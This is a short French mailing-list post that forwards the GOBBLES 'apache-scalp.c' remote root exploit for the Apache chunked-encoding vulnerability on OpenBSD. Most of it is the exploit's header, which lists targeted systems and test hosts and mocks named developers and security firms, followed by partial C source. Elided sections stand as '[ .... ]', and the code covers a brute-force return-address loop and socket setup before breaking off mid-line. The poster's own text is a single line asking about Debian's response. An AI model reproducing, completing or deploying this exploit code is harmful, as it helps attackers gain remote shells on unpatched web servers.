Viens d'arriver dans mon mail ! Un nouvel exploit root d'Apache. Une suite à l'histoire d'ISS.
Que fait Debian sur ceci. Je n'ai pas l'info. Stef... /* * apache-scalp.c * OPENBSD/X86 APACHE REMOTE EXPLOIT!!!!!!! * * ROBUST, RELIABLE, USER-FRIENDLY MOTHERFUCKING 0DAY WAREZ! * * BLING! BLING! --- BRUTE FORCE CAPABILITIES --- BLING! BLING! * * ". . . and Doug Sniff said it was a hole in Epic." * * --- * Disarm you with a smile * And leave you like they left me here * To wither in denial * The bitterness of one who's left alone * --- * * Remote OpenBSD/Apache exploit for the "chunking" vulnerability. Kudos to * the OpenBSD developers (Theo, DugSong, jnathan, [EMAIL PROTECTED], ...) and * their crappy memcpy implementation that makes this 32-bit impossibility * very easy to accomplish. This vulnerability was recently rediscovered by a slew * of researchers. * * The "experts" have already concurred that this bug... * - Can not be exploited on 32-bit *nix variants * - Is only exploitable on win32 platforms * - Is only exploitable on certain 64-bit systems * * However, contrary to what ISS would have you believe, we have * successfully exploited this hole on the following operating systems: * * Sun Solaris 6-8 (sparc/x86) * FreeBSD 4.3-4.5 (x86) * OpenBSD 2.6-3.1 (x86) * Linux (GNU) 2.4 (x86) * * Don't get discouraged too quickly in your own research. It took us close * to two months to be able to exploit each of the above operating systems. * There is a peculiarity to be found for each operating system that makes the * exploitation possible. * * Don't email us asking for technical help or begging for warez. We are * busy working on many other wonderful things, including other remotely * exploitable holes in Apache. Perhaps The Great Pr0ix would like to inform * the community that those holes don't exist? We wonder who's paying her. * * This code is an early version from when we first began researching the * vulnerability. It should spawn a shell on any unpatched OpenBSD system * running the Apache webserver. * * We appreciate The Blue Boar's effort to allow us to post to his mailing * list once again. Because he finally allowed us to post, we now have this * very humble offering. * * This is a very serious vulnerability. After disclosing this exploit, we * hope to have gained immense fame and glory. * * Testbeds: synnergy.net, monkey.org, 9mm.com * * Abusing the right syscalls, any exploit against OpenBSD == root. Kernel * bugs are great. * * [#!GOBBLES QUOTES] * * --- you just know 28923034839303 admins out there running * OpenBSD/Apache are going "ugh..not exploitable..ill do it after the * weekend" * --- "Five years without a remote hole in the default install". default * package = kernel. if theo knew that talkd was exploitable, he'd cry. * --- so funny how apache.org claims it's impossible to exploit this. * --- how many times were we told, "ANTISEC IS NOT FOR YOU" ? * --- I hope Theo doesn't kill himself * --- heh, this is a middle finger to all those open source, anti-"m$" * idiots... slashdot hippies... * --- they rushed to release this exploit so they could update their ISS * scanner to have a module for this vulnerability, but it doesnt even * work... it's just looking for win32 apache versions * --- no one took us seriously when we mentioned this last year. we warned * them that moderation == no pie. * --- now try it against synnergy :> * --- ANOTHER BUG BITE THE DUST... VROOOOM VRRRRRRROOOOOOOOOM * * xxxx this thing is a major exploit. do you really wanna publish it? * oooo i'm not afraid of whitehats * xxxx the blackhats will kill you for posting that exploit * oooo blackhats are a myth * oooo so i'm not worried * oooo i've never seen one * oooo i guess it's sort of like having god in your life * oooo i don't believe there's a god * oooo but if i sat down and met him * oooo i wouldn't walk away thinking * oooo "that was one hell of a special effect" * oooo so i suppose there very well could be a blackhat somewhere * oooo but i doubt it... i've seen whitehat-blackhats with their ethics * and deep philosophy... * * [GOBBLES POSERS/WANNABES] * * --- [EMAIL PROTECTED] (none of us join here, but we've sniffed it) * --- [EMAIL PROTECTED] (low-level.net) * * GOBBLES Security * [EMAIL PROTECTED] * http://www.bugtraq.org * */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <netdb.h> #include <sys/time.h> #include <signal.h> #define EXPLOIT_TIMEOUT 5 /* num seconds to wait before assuming it failed */ #define RET_ADDR_INC 512 #define MEMCPY_s1_OWADDR_DELTA -146 [ .... ] #define NOP 0x41 #define PADDING_1 'A' #define PADDING_2 'B' #define PADDING_3 'C' [ .... ] }; int main(int argc, char *argv[]) { char *hostp, *portp; unsigned char buf[512], *expbuf, *p; int i, j, lport; int sock; int bruteforce, owned, progress; u_long retaddr; struct sockaddr_in sin, from; if(argc != 3) { printf("Usage: %s <target#|base address> <ip[:port]>\n", argv[0]); printf(" Using targets:\t./apache-scalp 3 127.0.0.1:8080\n"); printf(" Using bruteforce:\t./apache-scalp 0x8f000 127.0.0.1:8080\n"); printf("\n--- --- - Potential targets list - --- ----\n"); printf("Target ID / Target specification\n"); for(i = 0; i < sizeof(targets)/8; i++) printf("\t%d / %s\n", i, targets[i].type); return -1; } [ .... ] for(owned = 0, progress = 0;;retaddr += RET_ADDR_INC) { /* skip invalid return adresses */ i = retaddr & 0xff; if(i == 0x0a || i == 0x0d) retaddr++; else if(memchr(&retaddr, 0x0a, 4) || memchr(&retaddr, 0x0d, 4)) continue; sock = socket(AF_INET, SOCK_STREAM, 0); sin.sin_family = AF_INET; sin.sin_addr.s_addr = inet_addr(hostp); sin.sin_port = htons(atoi(portp)); if(!progress) printf("\n[*] Connecting..
